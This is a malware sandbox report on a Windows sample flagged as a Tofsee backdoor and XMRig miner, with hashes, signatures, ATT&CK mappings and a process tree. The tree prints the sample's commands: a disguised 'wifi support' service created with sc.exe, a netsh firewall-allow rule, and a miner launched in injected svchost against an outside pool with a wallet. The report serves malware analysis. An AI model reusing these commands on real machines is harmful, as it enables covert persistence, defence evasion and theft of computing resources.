Overview

overview

10

Static

static

8

0x00010000...55.exe

windows7_x64

1

0x00010000...55.exe

windows10_x64

1

0x00010000...47.exe

windows7_x64

1

0x00010000...47.exe

windows10_x64

1

0x00010000...70.exe

windows7_x64

8

0x00010000...70.exe

windows10_x64

8

0x00010000...13.exe

windows7_x64

8

0x00010000...13.exe

windows10_x64

8

0x00020000...73.exe

windows7_x64

1

0x00020000...73.exe

windows10_x64

1

0x00020000...83.exe

windows7_x64

10

0x00020000...83.exe

windows10_x64

10

0x00020000...36.exe

windows7_x64

8

0x00020000...36.exe

windows10_x64

8

0x00020000...40.exe

windows7_x64

7

0x00020000...40.exe

windows10_x64

7

0x00030000...09.exe

windows7_x64

10

0x00030000...09.exe

windows10_x64

10

0x00030000...22.exe

windows7_x64

10

0x00030000...22.exe

windows10_x64

10

0x00030000...26.exe

windows7_x64

10

0x00030000...26.exe

windows10_x64

0x00030000...34.exe

windows7_x64

10

0x00030000...34.exe

windows10_x64

10

0x00030000...06.exe

windows7_x64

10

0x00030000...06.exe

windows10_x64

10

0x00030000...41.exe

windows7_x64

10

0x00030000...41.exe

windows10_x64

10

0x00030000...45.exe

windows7_x64

1

0x00030000...45.exe

windows10_x64

1

0x00030000...48.exe

windows7_x64

8

0x00030000...48.exe

windows10_x64

8

Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    25-11-2020 10:45

Sharing

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Report Analysis Logs

General

  • Target

    0x000200000001acb5-183.exe

  • Size

    10.2MB

  • MD5

    6b32791ddadc54b2e770a881eb83c260

  • SHA1

    d5815c8b204c47ebbb9f91c4f66e459e14136a32

  • SHA256

    23cb1064049da1e64c231cacee9908d9c1aed6a57b786740361d206d14bd2973

  • SHA512

    3a7334533bbcf4b1ad5b6200a9ef4c319a72ea06659e42c9b857e8e02c9115b04e63a61fb892f475456d53b907a7b7fe7fafb09d9e66cfc51481c2f170ac86fb

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0x000200000001acb5-183.exe
    "C:\Users\Admin\AppData\Local\Temp\0x000200000001acb5-183.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:656
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dznnjplx\
      2⤵
        PID:2728
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\aixbomvv.exe" C:\Windows\SysWOW64\dznnjplx\
        2⤵
          PID:3024
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dznnjplx binPath= "C:\Windows\SysWOW64\dznnjplx\aixbomvv.exe /d\"C:\Users\Admin\AppData\Local\Temp\0x000200000001acb5-183.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1688
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description dznnjplx "wifi internet conection"
            2⤵
              PID:1344
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start dznnjplx
              2⤵
                PID:3492
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3944
              • C:\Windows\SysWOW64\dznnjplx\aixbomvv.exe
                C:\Windows\SysWOW64\dznnjplx\aixbomvv.exe /d"C:\Users\Admin\AppData\Local\Temp\0x000200000001acb5-183.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:2108
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2312
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1228

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\aixbomvv.exe
                MD5

                fed5b2658ef9fd0ba1a1a7d2fb90e4c6

                SHA1

                f8e87b5cf22e332c2d224ee1b5f71e76bf6b9268

                SHA256

                f22473252039b72aa67a135e0428b5daa901262d10027ed0811e9a343f3971a0

                SHA512

                de69ed11d3ae1b200bbe100ffb363099f85897ba9bf072f8af8602f6852544a9430c57e4216c422dbb1587a8148144a931b3bf9733e6b11a33a017e9a91c74bf

                Download Submit
              • C:\Windows\SysWOW64\dznnjplx\aixbomvv.exe
                MD5

                fed5b2658ef9fd0ba1a1a7d2fb90e4c6

                SHA1

                f8e87b5cf22e332c2d224ee1b5f71e76bf6b9268

                SHA256

                f22473252039b72aa67a135e0428b5daa901262d10027ed0811e9a343f3971a0

                SHA512

                de69ed11d3ae1b200bbe100ffb363099f85897ba9bf072f8af8602f6852544a9430c57e4216c422dbb1587a8148144a931b3bf9733e6b11a33a017e9a91c74bf

                Download Submit
              • memory/656-0-0x0000000006350000-0x0000000006351000-memory.dmp
                Filesize

                4KB

                Download
              • memory/1228-22-0x0000000000D5259C-mapping.dmp
                Download
              • memory/1228-20-0x0000000000CC0000-0x0000000000DB1000-memory.dmp
                Filesize

                964KB

                Download
              • memory/1344-6-0x0000000000000000-mapping.dmp
                Download
              • memory/1688-5-0x0000000000000000-mapping.dmp
                Download
              • memory/2108-10-0x0000000005140000-0x0000000005141000-memory.dmp
                Filesize

                4KB

                Download
              • memory/2312-11-0x0000000002F30000-0x0000000002F45000-memory.dmp
                Filesize

                84KB

                Download
              • memory/2312-12-0x0000000002F39A6B-mapping.dmp
                Download
              • memory/2312-13-0x0000000002F30000-0x0000000002F45000-memory.dmp
                Filesize

                84KB

                Download
              • memory/2312-14-0x0000000004F50000-0x000000000515F000-memory.dmp
                Filesize

                2.1MB

                Download
              • memory/2312-15-0x0000000002FE0000-0x0000000002FE6000-memory.dmp
                Filesize

                24KB

                Download
              • memory/2312-16-0x0000000003310000-0x0000000003320000-memory.dmp
                Filesize

                64KB

                Download
              • memory/2312-17-0x0000000003320000-0x0000000003325000-memory.dmp
                Filesize

                20KB

                Download
              • memory/2312-18-0x0000000009690000-0x0000000009A9B000-memory.dmp
                Filesize

                4.0MB

                Download
              • memory/2312-19-0x0000000003680000-0x0000000003687000-memory.dmp
                Filesize

                28KB

                Download
              • memory/2728-2-0x0000000000000000-mapping.dmp
                Download
              • memory/3024-3-0x0000000000000000-mapping.dmp
                Download
              • memory/3492-7-0x0000000000000000-mapping.dmp
                Download
              • memory/3944-9-0x0000000000000000-mapping.dmp
                Download